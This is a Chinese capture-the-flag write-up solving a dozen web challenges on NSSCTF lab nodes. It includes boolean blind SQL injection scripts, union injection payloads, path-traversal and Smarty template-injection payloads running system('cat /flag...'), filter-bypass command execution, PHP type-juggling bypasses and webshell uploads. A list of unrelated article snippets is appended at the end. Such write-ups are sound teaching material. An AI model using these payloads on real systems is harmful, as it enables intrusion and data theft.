NSSCTF做题(6)
[HCTF 2018]Warmup
查看源代码得到

开始代码审计
<?phppage变量不存在或page变量不是字符串时返回false
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;//}满足page变量在whitelist数组内返回true
if (in_array($page, $whitelist)) {
return true;//}截取page变量第一个?前的字符串
$_page = mb_substr(//$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}//白名单检查
$_page = urldecode($page);//url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//二次截断
if (in_array($_page, $whitelist)) {
return true;
}//白名单检查
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
##只有三个条件全部为true时才可触发 1. ! empty($_REQUEST['file']) ##条件1表示参数不为空时返回true 2. is_string($_REQUEST['file']) ##条件2表示参数为字符串时返回true 3. emmm::checkFile($_REQUEST['file']) ##条件3表示参数满足checkFile函数时返回true
php mb_strpos()函数详解 - 飞鸟慕鱼博客
满足经过两次?截断后仍能通过白名单检查,并且include正确路径,才输出flag。
先看看hint.php

找到了flag的目录
构建payload: /source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg
这段payload,checkfile检测传入的file的值,将file赋给page变量,首先白名单检测hint.php在白名单内返回真。
然后?截断在第一次截断的时候将file中的hint.php?../../../../../../../../ffffllllaaaagggg截断为hint.php并顺利通过第二次白名单检测。
接着是一次url解码,将page变量进行一次url解码。
注意 mb_strpos($_page . '?', '?')
这段代码,“$_page . '?',”,中的那个.是一个连接符,相当于在__page变量后加上一个?。于是这次同样截断剩下hint.php再次顺利通过白名单检测。最后满足3个if条件执行include语句。在包含的时候会把hint.php?/当成一层目录,然后构造../../向上遍历找到flag。
因为白名单有两个字符串所以把file里面的hint换成source也是一样能拿到flag。
即source.php?file=source.php?../../../../../../../../ffffllllaaaagggg可以达到相同的效果。
得到flag

[CISCN 2019华北Day2]Web1
尝试注入发现了bool错误,应该属于是布尔盲注了
布尔盲注脚本:
import requests
import timeurl = "http://node2.anna.nssctf.cn:28326/index.php"
payload = {"id" : ""
}
result = ""
for i in range(1,100):l = 33r =130mid = (l+r)>>1while(l<r):# 跑库名#"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})".format(i, mid)# 跑表名#"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{0},1))>{1})".format(i, mid)# 跑列名#"0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{0},1))>{1})".format(i,mid)########################"0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)payload["id"] ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)html = requests.post(url,data=payload)print(payload)if "Hello" in html.text:l = mid+1else:r = midmid = (l+r)>>1if(chr(mid)==" "):breakresult = result + chr(mid)print(result)
print("flag: " ,result)
还有
import requests
import stringdef blind_sql(url):flag=''for num in range(1,60): #flag一般不超过50个字符for i in string.printable: #string.printable将给出所有的标点符号,数字,ascii_letters和空格payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码post = {"id":payload}result = requests.post(url=url,data=post) #提交post请求if 'Hello' in result.text:flag += i #用flag接收盲注得到的结果print(flag) #打印结果else:continueprint(flag)if __name__ == '__main__':url='http://node4.anna.nssctf.cn:28304/index.php'blind_sql(url)
得到flag

[羊城杯 2020]easycon
点进去有点懵,看看访问一下首页
看到了提示,应该是一句话木马,用蚁剑连接
连接成功

看到有一个bbbbbbbbb.txt
下载下来看像是base64转图片,得到flag

[LitCTF 2023]这是什么?SQL !注一下 !
先找找他的闭合条件
(((((('.$_GET["id"].'))))))

sql注入闭合方式-CSDN博客 推荐大家看这篇博客
应该是1')))))这样闭合
爆库名
?id=1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+

爆表名
?id=1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+

爆列名
?id=1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+

查字段,得到flag
?id=-1)))))) union select 1,flag from ctftraining.flag%23

[UUCTF 2022 新生赛]ez_rce
代码审计

第一次见这种题,无参数rce,找了两篇博客给大家参考
https://www.cnblogs.com/pursue-security/p/15406272.html
无参数RCE-CSDN博客
eval() 函数把字符串按照 PHP 代码来计算
即,我们通过GET传入参数code,code可以是一些命令参数,但被过滤了许多。
现在的目标是绕过过滤,进入if从句
- 没有过滤 “ \ ” ,因此构造:
/?code=printf(`l\s /`);
看到flag文件,直接查看
/?code=printf(`c\at /fffffffffflagafag`);

[HNCTF 2022 Week1]easy_html

直接抓包,找到了一个页面 访问

发现登录框有长度限制,长度改大就出来了flag
[GDOUCTF 2023]受不了一点
又是这个页面,访问index.php
找到源码开始审计
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){关于md5强比较直接使用数组类型绕过即ctf[]=1&gdou[]=2
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){//给上边这几个参数赋值,if(isset($_COOKIE['cookie'])){传入cookie使cookie的值等于j0k3r cookie=j0k3r
if ($_COOKIE['cookie']=='j0k3r'){//if(isset($_GET['aaa']) && isset($_GET['bbb'])){让get方式传入参数aaa和bbb的值传就行了
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];//if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){这里进行绕过,在任意一个114514后加一个字母传参aaa=114514&bbb=114514a$give = 'cancanwordflag';这里选择任意一个传入flag的方式使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag构造:123=flag&flag=123
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);//}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
最后构造的payload:
get:?aaa=114514&bbb=114514a&123=flag&flag=123
post: ctf[]=1&gdou[]=2
cookie: cookie=j0k3r
得到flag

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
代码审计,又遇到了substr()函数,php伪协议就ok
得到base64编码
还需要继续绕过
继续用这个协议,加上flag前面的目录就可以了


[NSSRound#1 Basic]basic_check
进去没东西,直接开扫

扫到了,进去看看
发现没东西。还是bp抓一下,还是没抓到东西

看大佬的wp才知道这个是put请求,还涉及到了一个没用过的软件
Nikto安装和使用_nikto下载-CSDN博客Nikto 网页服务器扫描器_nikto扫描-CSDN博客
Nikto 网页服务器扫描器_nikto扫描-CSDN博客
输入命令:nikto -h http://node4.anna.nssctf.cn:28806/
可以put请求文件上传
发现成功写入

命令执行得到flag

[HDCTF 2023]SearchMaster
说是smarty模板,能想到的就是ssti注入
看到了提示说,你可以post传参给我一个data

确定了是ssti注入,用{if}{/if}尝试注入 data={if system('ls /')}{/if}
得到了flag文件

继续得到flag
data={if system('cat /flag_13_searchmaster')}{/if}

[鹤城杯 2021]Middle magic
又是代码审计
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}
}
else{
echo 'nonono!';
}
echo '<hr>';
}
?>
关键代码
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}',
$_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){//要求get传参aaa,让aaa=pass_the_level_1,但是level1会被替换成filtered
echo "here is level 2"; if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])//post传参admin和root_pwd
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){//让这两个参数的sha1值相等
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if($level_3->result == $result) {//post传参level3,对其进行json_decode后,需要$level_3->result == $result
echo "success:".$flag;
深入了解PHP的json_decode()函数-PHP问题-PHP中文网 这篇详细介绍了json_decode
构造payload:
1.get传参aaa
因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配
/?aaa=%0Apass_the_level_1%23(%0a和%23分别是换行符和井号键的url编码)
正则匹配单行模式(?s)下 ,.号将匹配所有字符,包括换行符;但默认情况下点号不匹配换行符,因此给了绕过(.*)的可能
2.post传参admin和root_pwd
我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null
admin[]=1&root_pwd[]=2
3.//post传参level3,对其进行json_decode后,需要$level_3->result == $result
我们传入一个JSON格式的字符串,即
level_3={"result":0}
得到flag

[HNCTF 2022 Week1]easy_upload
上传一句话木马,发现成功
连接蚁剑

得到flag

[SWPUCTF 2022 新生赛]奇妙的MD5
结合题目和页面提示想到了ffifdyop
输入之后到了另外一个页面
查看源码,找到了需要审计的部分

没的说,数组绕过就结束了, ?x[]=1&y[]=2
到了下一个页面,md5强比较,因为他没有字符串的限制,所以还用数组就可以了

wqh[]=1&dsy[]=2 ,得到flag
[GKCTF 2021]easycms
点什么都没反应,直接开扫
扫到了一个登录页面
![]()
访问发现

弱口令尝试登录(或者bp爆破)
试出来是admin/12345
进到后台发现 设计->主题 处可以编辑页面,支持php源代码,于是考虑插入php在网站页面爆出flag,随便找个地方,比如 头部 处写一个php试试
保存时出现如下提示:

所以需要构造出这样一个文件,在 设计->组件->素材库 发现上传文件入口,先随便上传一个本地txt,根据先前编辑页面的路径,将上传到素材库的文件重命名为 ../../../../../system/tmp/udst 形成目录穿越。

有了这个东西之后就可以尝试命令执行了
得到flag
第一次做这种题,cms都不知道是什么,记录两个
什么是CMS ,CMS 有哪些功能呢?|齿轮干货 - 知乎
CMS是什么意思-php教程-PHP中文网
[HNCTF 2022 Week1]What is Web
有一个bp的下载链接,应该是和bp抓包有关的
页面显示,抓包看看

没抓到什么,既然是给新手看的,那就在源码里找一下
最后还是找到了东西

解密得到flag

相关文章:
NSSCTF做题(6)
[HCTF 2018]Warmup 查看源代码得到 开始代码审计 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist ["source">"source.php","hint"…...
公众号商城小程序的作用是什么
公众号是微信平台重要的生态体系之一,它可以与其它体系连接实现多种效果,同时公众号内容创作者非常多,个人或企业商家等,会通过公众号分享信息或获得收益等,而当商家需要在微信做私域经营或想要转化粉丝、售卖产品时就…...
关于 FOCA
目录 注意团队成员成品官网项目社区 版本信息致谢 注意 此文章会随时更新,最好收藏起来,总对你有好处。我们不定时发布一些 IT 内容,所以请关注我们。 此账号为 FOCA 唯一的官方账号,请勿轻易相信其他账号所发布内容。 团队 全…...
TVP专家谈腾讯云 Cloud Studio:开启云端开发新篇章
导语 | 近日,由腾讯云 TVP 团队倾力打造的 TVP 吐槽大会第六期「腾讯云 Cloud Studio」专场圆满落幕,6 位资深的 TVP 专家深度体验腾讯云 Cloud Studio 产品,提出了直击痛点的意见与建议,同时也充分肯定了腾讯云 Cloud Studio 的实…...
2023-09-27 Cmake 编译 OpenCV+Contrib 源码通用设置
Cmake 编译 OpenCV 通用设置 特点: 包括 Contrib 模块关闭了 Example、Test、OpenCV_AppLinux、Windows 均只生成 OpenCV_World 需要注意: 每次把 Cmake 缓存清空,否则,Install 路径可能被设置为默认路径Windows 需要注意编译…...
ACGAN
CGAN通过在生成器和判别器中均使用标签信息进行训练,不仅能产生特定标签的数据,还能够提高生成数据的质量;SGAN(Semi-Supervised GAN)通过使判别器/分类器重建标签信息来提高生成数据的质量。既然这两种思路都可以提高生成数据的质…...
模块化CSS
1、什么是模块化CSS 模块化CSS是一种将CSS样式表的规则和样式定义封装到模块或组件级别的方法,以便于更好地管理、维护和组织样式代码。这种方法通过将样式与特定的HTML元素或组件相关联,提供了一种更具可维护性、可复用性和隔离性的方式来处理样式。简单…...
意大利储能公司【Energy Dome】完成1500万欧元融资
来源:猛兽财经 作者:猛兽财经 猛兽财经获悉,总部位于意大利米兰的储能公司Energy Dome今日宣布已完成1500万欧元B轮融资。 本轮融资完成后,Energy Dome的融资总额已经达到了5500万欧元,本轮融资的参与者包括阿曼创新发…...
【Java 进阶篇】JDBC Connection详解:连接到数据库的关键
在Java中,要与数据库进行交互,需要使用Java数据库连接(JDBC)。JDBC允许您连接到不同类型的数据库,并执行SQL查询、插入、更新和删除操作。在JDBC中,连接数据库是一个重要的步骤,而Connection对象…...
vue-cli项目打包体积太大,服务器网速也拉胯(100kb/s),客户打开网站需要等十几秒!!! 尝试cdn优化方案
一、首先用插件webpack-bundle-analyzer查看自己各个包的体积 插件用法参考之前博客 vue-cli项目中,使用webpack-bundle-analyzer进行模块分析,查看各个模块的体积,方便后期代码优化 二、发现有几个插件体积较大,有改成CDN引用的…...
【优秀学员统计】python实现-附ChatGPT解析
1.题目 优秀学员统计 知识点排序统计编程基础 时间限制: 1s 空间限制: 256MB 限定语言:不限 题目描述: 公司某部门软件教导团正在组织新员工每日打卡学习活动,他们开展这项学习活动已经一个月了,所以想统计下这个月优秀的打卡员工。每个员工会对应一个id,每天的打卡记录记录…...
餐饮外卖配送小程序商城的作用是什么?
餐饮是支撑市场的主要行业之一,其市场规模很大,从业商家从大到小不计其数,对众商家来说,无论门店大小都希望不断生意增长,但在实际发展中却会面对不少痛点; 餐饮很适合线上经营,无论第三方外卖…...
【QT】使用toBase64方法将.txt文件的明文变为非明文(类似加密)
目录 0.环境 1.背景 2.详细代码 2.1 .h主要代码 2.2 .cpp主要代码,主要实现上述的四个方法 0.环境 windows 11 64位 Qt Creator 4.13.1 1.背景 项目需求:我们项目中有配置文件(类似.txt,但不是这个格式,本文以…...
《QDebug 2023年9月》
一、Qt Widgets 问题交流 1.Qt 程序在 Windows 上以管理员权限运行时无法响应拖放(Drop) 无论是 Widget 还是 QML 程序,以管理员权限运行时,都无法响应拖放操作。可以右键管理员权限打开 Qt Creator,然后丢个文本文件…...
C++使用高斯模糊处理图像
C使用高斯模糊处理图像 cv::GaussianBlur 是 OpenCV 中用于对图像进行高斯模糊处理的函数。高斯模糊是一种常用的图像滤波方法,它可以减少图像中的噪声,并平滑图像以降低细节级别。 void cv::GaussianBlur(const cv::Mat& src, cv::Mat& dst, …...
多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络)
多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络) 目录 多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络)效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现PSO-BP粒子群优化BP神经网络多变量时间序列预测ÿ…...
LeetCode 283. 移动零
移动零 问题描述 LeetCode 283. 移动零 给定一个数组 nums,编写一个函数将所有 0 移动到数组的末尾,同时保持非零元素的相对顺序。 请注意,必须在不复制数组的情况下原地对数组进行操作。 解决思路 为了将所有 0 移动到数组的末尾&#…...
【数据结构】选择排序 堆排序(二)
目录 一,选择排序 1,基本思想 2, 基本思路 3,思路实现 二,堆排序 1,直接选择排序的特性总结: 2,思路实现 3,源代码 最后祝大家国庆快乐! 一…...
opencv实现目标跟踪及视频转存
创建跟踪器 def createTypeTracker(trackerType): 读取视频第一帧,选择跟踪的目标 读第一帧。 ok, frame video.read() 选择边界框 bbox cv2.selectROI(frame, False) 初始化跟踪器 tracker_type ‘MIL’ tracker createTypeTracker(tracker_type) 用第一…...
R | R及Rstudio安装、运行环境变量及RStudio配置
R | R及Rstudio安装、运行环境变量及RStudio配置 一、介绍1.1 R介绍1.2 RStudio介绍 二、R安装2.1 演示电脑系统2.2 R下载2.3 R安装2.4 R语言运行环境设置(环境变量)2.4.1 目的2.4.2 R-CMD测试2.4.3 设置环境变量 2.5 R安装测试 三、RStudio安装3.1 RStu…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库,例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体,比如 SnowballFight、Huggy the Do…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
SpringTask-03.入门案例
一.入门案例 启动类: package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文通过代码驱动的方式,系统讲解PyTorch核心概念和实战技巧,涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...
【Post-process】【VBA】ETABS VBA FrameObj.GetNameList and write to EXCEL
ETABS API实战:导出框架元素数据到Excel 在结构工程师的日常工作中,经常需要从ETABS模型中提取框架元素信息进行后续分析。手动复制粘贴不仅耗时,还容易出错。今天我们来用简单的VBA代码实现自动化导出。 🎯 我们要实现什么? 一键点击,就能将ETABS中所有框架元素的基…...
